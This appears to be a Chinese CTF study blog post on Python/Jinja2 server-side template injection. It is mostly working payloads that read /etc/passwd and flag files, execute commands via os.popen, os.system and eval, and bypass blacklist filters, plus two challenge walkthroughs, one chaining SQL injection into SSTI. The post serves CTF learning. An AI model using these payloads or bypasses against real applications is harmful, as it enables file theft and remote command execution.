Contents
  1. 1. 0x01 简介
  2. 2. 0x02 攻击流程
  3. 3. 0x03 读写文件
  4. 4. 0x04 命令执行
    1. 4.1. 方法1 利用eval 进行命令执行
    2. 4.2. 方法2 利用warnings.catch_warnings 进行命令执行
    3. 4.3. 方法3 利用commands 进行命令执行
  5. 5. 0x05 常见绕过方式
    1. 5.1. 绕过中括号
    2. 5.2. 过滤引号
    3. 5.3. 过滤双下划线
    4. 5.4. 过滤关键字
    5. 5.5. 同时绕过下划线、与中括号
    6. 5.6. 绕过.过滤
  6. 6. 0x06 实战
    1. 6.0.1. 科来杯-easy_flask
    2. 6.0.2. QCTF-Confustion1
  • 7. 参考资料
  • 在CTF比赛中见过不少的SSTI题目,在这里整理下思路,记录下

    0x01 简介

    SSTI(Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的

    0x02 攻击流程

    攻击流程,以文件读取为例子

    函数解析

    1
    2
    3
    4
    5
    __class__ 返回调用的参数类型
    __bases__ 返回类型列表
    __mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
    __subclasses__() 返回object的子类
    __globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

    获取基本类

    1
    2
    3
    4
    5
    ''.__class__.__mro__[2]
    {}.__class__.__bases__[0]
    ().__class__.__bases__[0]
    [].__class__.__bases__[0]
    request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

    获取基本类后,继续向下获取基本类(object)的子类

    1
    object.__subclasses__()

    找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)

    1
    2
    3
    4
    >>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
    <slot wrapper '__init__' of 'object' objects>
    >>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
    <unbound method WarningMessage.__init__>

    查看其引用__builtins__

    builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块

    1
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

    这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能

    1
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()

    除此外还有其他的调用方式

    0x03 读写文件

    上面的方法读文件

    方法1

    1
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #将read() 修改为 write() 即为写文件

    存在的子模块可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可

    方法2

    1
    2
    >>> ''.__class__.__mro__[2].__subclasses__().index(file)
    40
    1
    [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件

    0x04 命令执行

    方法1 利用eval 进行命令执行

    1
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

    方法2 利用warnings.catch_warnings 进行命令执行

    查看warnings.catch_warnings方法的位置

    1
    2
    >>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
    59

    查看linecatch的位置

    1
    2
    >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
    25

    查找os模块的位置

    1
    2
    >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
    12

    查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

    1
    2
    >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
    144

    调用system方法

    1
    2
    3
    >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
    root
    0

    方法3 利用commands 进行命令执行

    1
    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
    1
    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
    1
    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

    0x05 常见绕过方式

    绕过中括号

    pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

    1
    2
    3
    >>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

    'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/sp

    在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过

    过滤引号

    request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤

    1
    {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

    过滤双下划线

    同样利用request.args属性

    1
    {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

    将其中的request.args改为request.values则利用post的方式进行传参

    1
    2
    3
    4
    GET:
    {{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
    POST:
    class=__class__&mro=__mro__&subclasses=__subclasses__

    过滤关键字

    base64编码绕过
    __getattribute__使用实例访问属性时,调用该方法

    例如被过滤掉__class__关键词

    1
    {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

    字符串拼接绕过

    1
    {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}

    同时绕过下划线、与中括号

    1
    2
    3
    {{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}}
    post:
    name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read

    绕过.过滤

    .也被过滤,使用原生JinJa2函数|attr()
    request.__class__改成request|attr("__class__")

    0x06 实战

    科来杯-easy_flask

    这个题考察点在sqli + ssti

    比赛中没做出来,但是复现成功后一想,应该算是ssti中比较简单的题,sql注入和ssti均未有任何过滤,但是用sql注入联合查询的返回结果来进行ssti注入攻击的模式是第一次见

    刚开始添加用户和输入的数据

    提交后,提示添加成功,然后在Search Comments中输入刚才的用户名,来提交查询,查询结果会出现在Show Comments

    在查询阶段存在注入

    1541607466905

    利用回显结果来进行ssti攻击

    payload如下

    1
    http://47.105.148.65:29003/?username=GetFlag' union select 1,'{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("strings /flag").read()}}',3 --+

    1541607569957

    QCTF-Confustion1

    查看题目界面

    1541784159085

    测试发现404页面存在ssti

    1541784212853

    但是进行了一系列的黑名单,索性全部采用request.args传值的方式绕过

    读取成功

    1541784307328

    右击查看源代码,发现flag存放位置

    1541784345572

    读取flag文件

    1
    http://123.207.149.64:23361/{{''[request.args.a][request.values.b][2][request.values.c]()[40]('/opt/flag_1234qwerty.txt').read()}}?a=__class__&b=__mro__&c=__subclasses__

    1541784389413

    参考资料

    1
    https://www.cnblogs.com/20175211lyz/p/11425368.html
    Contents
    1. 1. 0x01 简介
    2. 2. 0x02 攻击流程
    3. 3. 0x03 读写文件
    4. 4. 0x04 命令执行
      1. 4.1. 方法1 利用eval 进行命令执行
      2. 4.2. 方法2 利用warnings.catch_warnings 进行命令执行
      3. 4.3. 方法3 利用commands 进行命令执行
    5. 5. 0x05 常见绕过方式
      1. 5.1. 绕过中括号
      2. 5.2. 过滤引号
      3. 5.3. 过滤双下划线
      4. 5.4. 过滤关键字
      5. 5.5. 同时绕过下划线、与中括号
      6. 5.6. 绕过.过滤
    6. 6. 0x06 实战
      1. 6.0.1. 科来杯-easy_flask
      2. 6.0.2. QCTF-Confustion1
  • 7. 参考资料